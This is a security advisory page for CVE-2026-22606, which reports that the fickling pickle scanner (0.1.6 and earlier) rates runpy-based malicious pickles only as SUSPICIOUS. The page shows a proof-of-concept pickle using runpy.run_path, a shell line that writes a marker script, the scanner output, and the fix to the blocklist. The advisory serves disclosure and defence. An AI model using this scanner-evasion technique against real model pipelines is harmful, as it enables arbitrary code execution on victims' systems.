PYSEC-2026-1373

Vulnerability from pysec - Published: 2026-07-07 16:03 - Updated: 2026-07-07 17:24
VLAI
Details

Fickling's assessment

runpy was added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/9a2b3f89bd0598b528d62c10a64c1986fcb09f66).

Original report

Summary

Fickling versions up to and including 0.1.6 do not treat Python’s runpy module as unsafe. Because of this, a malicious pickle that uses runpy.run_path() or runpy.run_module() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS.

If a user relies on Fickling’s output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system.

This affects any workflow or product that uses Fickling as a security gate for pickle deserialization.

Details

The runpy module is missing from fickling's block list of unsafe module imports in fickling/analysis.py. This is the same root cause as CVE-2025-67748 (pty) and CVE-2025-67747 (marshal/types).

Incriminated source code: - File: fickling/analysis.py - Class: UnsafeImports - Issue: The blocklist does not include runpy, runpy.run_path, runpy.run_module, or runpy._run_code

Reference to similar fix: - PR #187 added pty to the blocklist to fix CVE-2025-67748 - PR #108 documented the blocklist approach - The same fix pattern should be applied for runpy

How the bypass works: 1. Attacker creates a pickle using runpy.run_path() in __reduce__ 2. Fickling's UnsafeImports analysis does not flag runpy as dangerous 3. Only the UnusedVariables heuristic triggers, resulting in SUSPICIOUS severity 4. The pickle should be rated OVERTLY_MALICIOUS like os.system, eval, and exec

Tested behavior (fickling 0.1.6):

Function Fickling Severity RCE Capable
os.system LIKELY_OVERTLY_MALICIOUS Yes
eval OVERTLY_MALICIOUS Yes
exec OVERTLY_MALICIOUS Yes
runpy.run_path SUSPICIOUS Yes ← BYPASS
runpy.run_module SUSPICIOUS Yes ← BYPASS

Suggested fix: Add to the unsafe imports blocklist in fickling/analysis.py: - runpy - runpy.run_path - runpy.run_module - runpy._run_code - runpy._run_module_code

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.Environment: - Python 3.13.2 - fickling 0.1.6 (latest version, installed via pip)

Step 1: Create malicious pickle

import pickle import runpy

class MaliciousPayload: def reduce(self): return (runpy.run_path, ("/tmp/malicious_script.py",))

with open("malicious.pkl", "wb") as f: pickle.dump(MaliciousPayload(), f)

Step 2: Create the malicious script that will be executed

echo 'print("RCE ACHIEVED"); open("/tmp/pwned","w").write("compromised")' > /tmp/malicious_script.py

Step 3: Analyze with fickling

fickling --check-safety malicious.pkl

Expected output (if properly detected): Severity: OVERTLY_MALICIOUS

Actual output (bypass confirmed): { "severity": "SUSPICIOUS", "analysis": "Variable _var0 is assigned value run_path(...) but unused afterward; this is suspicious and indicative of a malicious pickle file", "detailed_results": { "AnalysisResult": { "UnusedVariables": ["_var0", "run_path(...)"] } } }

Step 4: Prove RCE by loading the pickle

import pickle pickle.load(open("malicious.pkl", "rb"))

Check: ls /tmp/pwned <-- file exists, proving code execution

Pickle disassembly (evidence):

0: \x80 PROTO      4
2: \x95 FRAME      92

11: \x8c SHORT_BINUNICODE 'runpy' 18: \x94 MEMOIZE (as 0) 19: \x8c SHORT_BINUNICODE 'run_path' 29: \x94 MEMOIZE (as 1) 30: \x93 STACK_GLOBAL 31: \x94 MEMOIZE (as 2) 32: \x8c SHORT_BINUNICODE '/tmp/malicious_script.py' ... 100: R REDUCE 101: \x94 MEMOIZE (as 5) 102: . STOP

Impact

Vulnerability Type: Incomplete blocklist leading to safety check bypass (CWE-184) and arbitrary code execution via insecure deserialization (CWE-502).

Who is impacted: Any user or system that relies on fickling to vet pickle files for security issues before loading them. This includes:

Attack scenario: An attacker uploads a malicious ML model or pickle file to a model repository. The victim's pipeline uses fickling to scan uploads. Fickling rates the file as "SUSPICIOUS" (not "OVERTLY_MALICIOUS"), so the file is not rejected. When the victim loads the model, arbitrary code executes on their system.

Severity: HIGH - The attacker achieves arbitrary code execution - The security control (fickling) is specifically designed to prevent this - The bypass requires no special conditions beyond crafting the pickle with runpy

Impacted products
Name purl
fickling pkg:pypi/fickling

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "fickling",
        "purl": "pkg:pypi/fickling"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.0.1",
        "0.0.2",
        "0.0.3",
        "0.0.4",
        "0.0.5",
        "0.0.6",
        "0.0.7",
        "0.0.8",
        "0.1.2",
        "0.1.3",
        "0.1.4",
        "0.1.5",
        "0.1.6"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22606",
    "GHSA-wfq2-52f7-7qvj"
  ],
  "details": "# Fickling\u0027s assessment\n\n`runpy`  was added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/9a2b3f89bd0598b528d62c10a64c1986fcb09f66).\n\n# Original report\n\n### Summary\nFickling versions up to and including 0.1.6 do not treat Python\u2019s runpy module as unsafe. Because of this, a malicious pickle that uses runpy.run_path() or runpy.run_module() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS.\n\nIf a user relies on Fickling\u2019s output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system.\n\nThis affects any workflow or product that uses Fickling as a security gate for pickle deserialization.\n\n### Details\nThe `runpy` module is missing from fickling\u0027s block list of unsafe module imports in `fickling/analysis.py`. This is the same root cause as CVE-2025-67748 (pty) and CVE-2025-67747 (marshal/types).\n\nIncriminated source code:\n- File: `fickling/analysis.py`\n- Class: `UnsafeImports`\n- Issue: The blocklist does not include `runpy`, `runpy.run_path`, `runpy.run_module`, or `runpy._run_code`\n\nReference to similar fix:\n- PR #187 added `pty` to the blocklist to fix CVE-2025-67748\n- PR #108 documented the blocklist approach\n- The same fix pattern should be applied for `runpy`\n\nHow the bypass works:\n1. Attacker creates a pickle using `runpy.run_path()` in `__reduce__`\n2. Fickling\u0027s `UnsafeImports` analysis does not flag `runpy` as dangerous\n3. Only the `UnusedVariables` heuristic triggers, resulting in `SUSPICIOUS` severity\n4. The pickle should be rated `OVERTLY_MALICIOUS` like `os.system`, `eval`, and `exec`\n\nTested behavior (fickling 0.1.6):\n\n| Function          | Fickling Severity          | RCE Capable |\n|-------------------|----------------------------|-------------|\n| os.system         | LIKELY_OVERTLY_MALICIOUS   | Yes         |\n| eval              | OVERTLY_MALICIOUS          | Yes         |\n| exec              | OVERTLY_MALICIOUS          | Yes         |\n| runpy.run_path    | SUSPICIOUS                 | Yes \u2190 BYPASS |\n| runpy.run_module  | SUSPICIOUS                 | Yes \u2190 BYPASS |\n\nSuggested fix:\nAdd to the unsafe imports blocklist in `fickling/analysis.py`:\n- runpy\n- runpy.run_path\n- runpy.run_module\n- runpy._run_code\n- runpy._run_module_code\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._**Environment:**\n- Python 3.13.2\n- fickling 0.1.6 (latest version, installed via pip)\n\nStep 1: Create malicious pickle\n\nimport pickle\nimport runpy\n\nclass MaliciousPayload:\n    def __reduce__(self):\n        return (runpy.run_path, (\"/tmp/malicious_script.py\",))\n\nwith open(\"malicious.pkl\", \"wb\") as f:\n    pickle.dump(MaliciousPayload(), f)\n\nStep 2: Create the malicious script that will be executed\n\necho \u0027print(\"RCE ACHIEVED\"); open(\"/tmp/pwned\",\"w\").write(\"compromised\")\u0027 \u003e /tmp/malicious_script.py\n\nStep 3: Analyze with fickling\n\nfickling --check-safety malicious.pkl\n\nExpected output (if properly detected):\nSeverity: OVERTLY_MALICIOUS\n\nActual output (bypass confirmed):\n{\n    \"severity\": \"SUSPICIOUS\",\n    \"analysis\": \"Variable `_var0` is assigned value `run_path(...)` but unused afterward; this is suspicious and indicative of a malicious pickle file\",\n    \"detailed_results\": {\n        \"AnalysisResult\": {\n            \"UnusedVariables\": [\"_var0\", \"run_path(...)\"]\n        }\n    }\n}\n\nStep 4: Prove RCE by loading the pickle\n\nimport pickle\npickle.load(open(\"malicious.pkl\", \"rb\"))\n# Check: ls /tmp/pwned  \u003c-- file exists, proving code execution\n\nPickle disassembly (evidence):\n\n    0: \\x80 PROTO      4\n    2: \\x95 FRAME      92\n   11: \\x8c SHORT_BINUNICODE \u0027runpy\u0027\n   18: \\x94 MEMOIZE    (as 0)\n   19: \\x8c SHORT_BINUNICODE \u0027run_path\u0027\n   29: \\x94 MEMOIZE    (as 1)\n   30: \\x93 STACK_GLOBAL\n   31: \\x94 MEMOIZE    (as 2)\n   32: \\x8c SHORT_BINUNICODE \u0027/tmp/malicious_script.py\u0027\n   ...\n  100: R    REDUCE\n  101: \\x94 MEMOIZE    (as 5)\n  102: .    STOP\n  \n### Impact\n\nVulnerability Type:\nIncomplete blocklist leading to safety check bypass (CWE-184) and arbitrary code execution via insecure deserialization (CWE-502).\n\nWho is impacted:\nAny user or system that relies on fickling to vet pickle files for security issues before loading them. This includes:\n\nAttack scenario:\nAn attacker uploads a malicious ML model or pickle file to a model repository. The victim\u0027s pipeline uses fickling to scan uploads. Fickling rates the file as \"SUSPICIOUS\" (not \"OVERTLY_MALICIOUS\"), so the file is not rejected. When the victim loads the model, arbitrary code executes on their system.\n\nSeverity: HIGH\n- The attacker achieves arbitrary code execution\n- The security control (fickling) is specifically designed to prevent this\n- The bypass requires no special conditions beyond crafting the pickle with `runpy`",
  "id": "PYSEC-2026-1373",
  "modified": "2026-07-07T17:24:08.550727Z",
  "published": "2026-07-07T16:03:17.598373Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-565g-hwwr-4pp3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-r7v6-mfhq-g3m2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-wfq2-52f7-7qvj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22606"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/pull/108"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/pull/187"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/pull/195"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/commit/9a2b3f89bd0598b528d62c10a64c1986fcb09f66"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/trailofbits/fickling"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/blob/977b0769c13537cd96549c12bb537f05464cf09c/test/test_bypasses.py#L87"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/releases/tag/v0.1.7"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/fickling"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-wfq2-52f7-7qvj"
    }
  ],
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Fickling has a bypass via runpy.run_path() and runpy.run_module()"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…